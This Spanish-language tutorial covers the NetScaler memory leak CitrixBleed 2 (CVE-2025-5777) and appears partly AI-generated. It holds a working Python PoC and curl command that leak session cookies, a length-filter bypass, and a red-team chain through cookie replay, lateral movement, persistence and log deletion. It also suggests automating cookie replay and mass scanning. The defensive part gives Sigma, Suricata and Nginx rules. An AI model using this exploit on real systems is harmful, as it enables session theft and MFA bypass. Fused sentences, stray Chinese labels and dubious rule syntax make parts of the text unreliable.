Explicación detallada de CitrixBleed 2 — CVE-2025-5777 (fuga fuera de límites) PoC y kit de detección
An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Un manual completo desde la causa raíz hasta los ejercicios de ataque y defensa
0x00 Introducción / Resumen rápido
0x01 Contexto: Arquitectura de NetScaler y repaso de CitrixBleed 1
0x02 Descripción de la vulnerabilidad (versiones afectadas, CVSS, consecuencias de la explotación)
0x03 Análisis profundo del mecanismo de activación (análisis a nivel de código fuente y capturas de depuración)
0x04 PoC mínimo + script de escaneo avanzado
0x05 Perspectiva del equipo rojo: cadena de ataque completa (detección → fuga → secuestro de sesión → movimiento lateral en la red interna)
0x06 Perspectiva del equipo azul: detección, forensia y verificación de parches
0x07 Endurecimiento defensivo: parches, WAF, configuración, gestión de activos
0x08 Hoja de ruta de aprendizaje / repaso y laboratorios prácticos
Apéndice A Reglas Sigma / Suricata / Nginx-Lua
Apéndice B Cronología de parches/explotación e instantánea de IoC
Referencias
Host extremadamente larga para que el dispositivo "escupe" al cliente bloques de memoria aleatoria junto con la respuesta HTTP.NSC_USER / NSC_TASS, StateContext de SAML, tokens MFA, que pueden reutilizarse directamente para realizar el secuestro de sesión y la evasión de MFA (arcticwolf.com, tenable.com).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway 认证
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ 正向到应用
│ CVPN / RDP │
└──────────────┘
NetScaler adopta un diseño de múltiples procesos + IPC interno. WebProc se encarga de procesar la mayoría de las peticiones HTTP en la ruta AAA / Gateway, incluyendo /nf/auth/*, /oauth/*, etc. Hace un uso intensivo de snprintf() / memcpy() en lenguaje C cada vez que compone fragmentos XML/HTML.
/oauth/idp/.well-known/openid-configuration.snprintf como parámetro len del posterior send() → eco de memoria fuera de límites.Lección aprendida: si los parches de seguridad solo corrigen el "punto de impacto" en lugar del "paradigma de programación", se deja espacio para la "reproducción con plantillas".
| Campo | Contenido |
|---|---|
| CVE | CVE-2025-5777 |
| Alias | CitrixBleed 2 |
| Tipo de vulnerabilidad | Lectura fuera de límites / Fuga de información |
| CVSS v4 Base | 9.3 (Crit.) (netscaler.com) |
| Versiones afectadas | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com) |
| Requisitos de explotación | NetScaler configurado como Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) o servidor virtual AAA (arcticwolf.com) |
| Consecuencias de la explotación | Fuga de memoria → tokens de sesión → evasión de autenticación / evasión de MFA → movimiento lateral |
Esta sección se basa en la descompilación del firmware 13.1-55.18 + depuración con gdb, recopilada a partir de blogs públicos (bishopfox.com).
/nf/auth/startwebview.doHost<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length 可 > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Punto del bug:
snprintfdevuelve la "longitud que debería haberse escrito" en lugar de la longitud realmente escrita; si elHostproporcionado por el usuario supera 0x1800 - longitud del segmento constante, entonceslength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
被 ns_vpn_send_response 一并发出
Demostración del punto de interrupción en GDB (registros clave):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
Los resultados de read() muestran que los últimos 1600 bytes provienen de memoria no inicializada, donde se pueden apreciar buffers de cookies de otras sesiones SSL.
| Categoría | Fragmento de ejemplo (anonimizado) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| Otros cuerpos de petición | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin palabras clave como Cookie=, <AuthenticateContext>, etc.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
Bypass: algunos dispositivos aplican una limitación de longitud de
Hosten el F5 / Nginx frontal; se puede evadir concatenando múltiples subdominios, por ejemplofoo.foo.foo.…foo.example.com(repitiendofoo3000 veces).
| Paso | Objetivo y técnica |
|---|---|
| ① Descubrimiento de activos | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan, etc.; filtrar set-cookie: NSC_ |
| ② Fuga con el PoC | Peticiones paralelas con scripts masivos; capturar NSC_USER= ; NSC_TASS= |
| ③ Replay de cookies | Chrome DevTools → Application → Cookies → añadir una entrada y recargar /vpn/index.html |
| ④ Recursos de la red interna | Acceder a storeweb/#home para obtener el archivo RDP; descargar el .ica e iniciar sesión directamente en la VDI |
| ⑤ Escalada de privilegios | Password spraying interno, Kerberoast, ADCS ESC1; o explotar SMB con contraseñas débiles en el mismo segmento de red |
| ⑥ Persistencia | Crear una Scheduled Task; registrar scripts de autoarranque; o modificar el vDisk de NetScaler (requiere privilegios elevados y negligencia de operaciones) |
| ⑦ Limpieza de rastros | Cookie de un solo uso; eliminar los registros de auditoría (si se obtiene root de NS); o sobrescribir mediante una condición de carrera en logrotate |
Caso real: ReliaQuest observó en un gateway de un cliente "una gran cantidad de peticiones con cabecera Host de más de 6 KB en un corto periodo, seguidas inmediatamente por el robo de sesiones" (reliaquest.com).
| Fuente | Indicador |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
| HTTP_ACCESS.log | Peticiones a /nf/auth/startwebview.do con duración muy corta pero tamaño de respuesta anómalo (> 2 KB) |
| EDR/PCAP | Set-Cookie: NSC_USER= presente en respuestas a peticiones que no son de inicio de sesión |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "Patched ✅" || echo "Vulnerable ❌"
# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all
Nota: tras aplicar el parche, sigue siendo necesario forzar el cierre de sesión para evitar que el atacante continúe usando las cookies robadas.
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {
...
if ($block_long_host) { return 413; }
}
/nf/auth/ y /oauth/ (p. ej., 20 req/m).| Fase | Recursos recomendados y acciones |
|---|---|
| Teoría | Leer los avisos de seguridad de Citrix, los FAQ de Arctic Wolf / Tenable y el análisis técnico de Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com) |
| Laboratorio | Desplegar la versión vulnerable 13.1-55.18 (ESXi / KVM), ejecutar el PoC mínimo y capturar con Wireshark → observar el paquete de respuesta TCP PSH |
| Programación | Modificar el PoC: añadir replay automático de cookies, escaneo masivo ZTLS y colas multiproceso |
| Equipo azul | Buscar longitudes anómalas de Host en una ventana de dos horas; usar Sigma → Elastic/Graylog; reproducir y validar las políticas de WAF |
| Compartir | Escribir un blog o crear un mapa mental que resuma "las trampas del uso de snprintf" |
title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
alert http any any -> any any (
msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
http.uri; content:"/nf/auth/startwebview.do"; nocase;
http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
| Fecha (2025) | Evento |
|---|---|
| 06-17 | Citrix publica inicialmente el aviso de CVE-2025-5777 (netscaler.com) |
| 06-18 | Bishop Fox publica el primer análisis técnico y el PoC (bishopfox.com) |
| 06-23 | Citrix actualiza el alcance de los productos afectados y las versiones con parche; CISA lo añade al KEV |
| 06-25 | ReliaQuest informa de explotación activa; grupos de amenazas están robando sesiones de forma masiva (reliaquest.com) |
| 06-27 | BleepingComputer informa de que "posiblemente ya se ha explotado a gran escala" (bleepingcomputer.com) |
| 06-28 | Aparecen múltiples PoCs en GitHub; Tenable publica un FAQ (tenable.com) |
Fin — Espero que este documento te ayude a comprender y afrontar CitrixBleed 2 en todos sus aspectos. Si necesitas complementarlo con más ejemplos, scripts u orientación para prácticas, ¡no dudes en seguir planteándolos!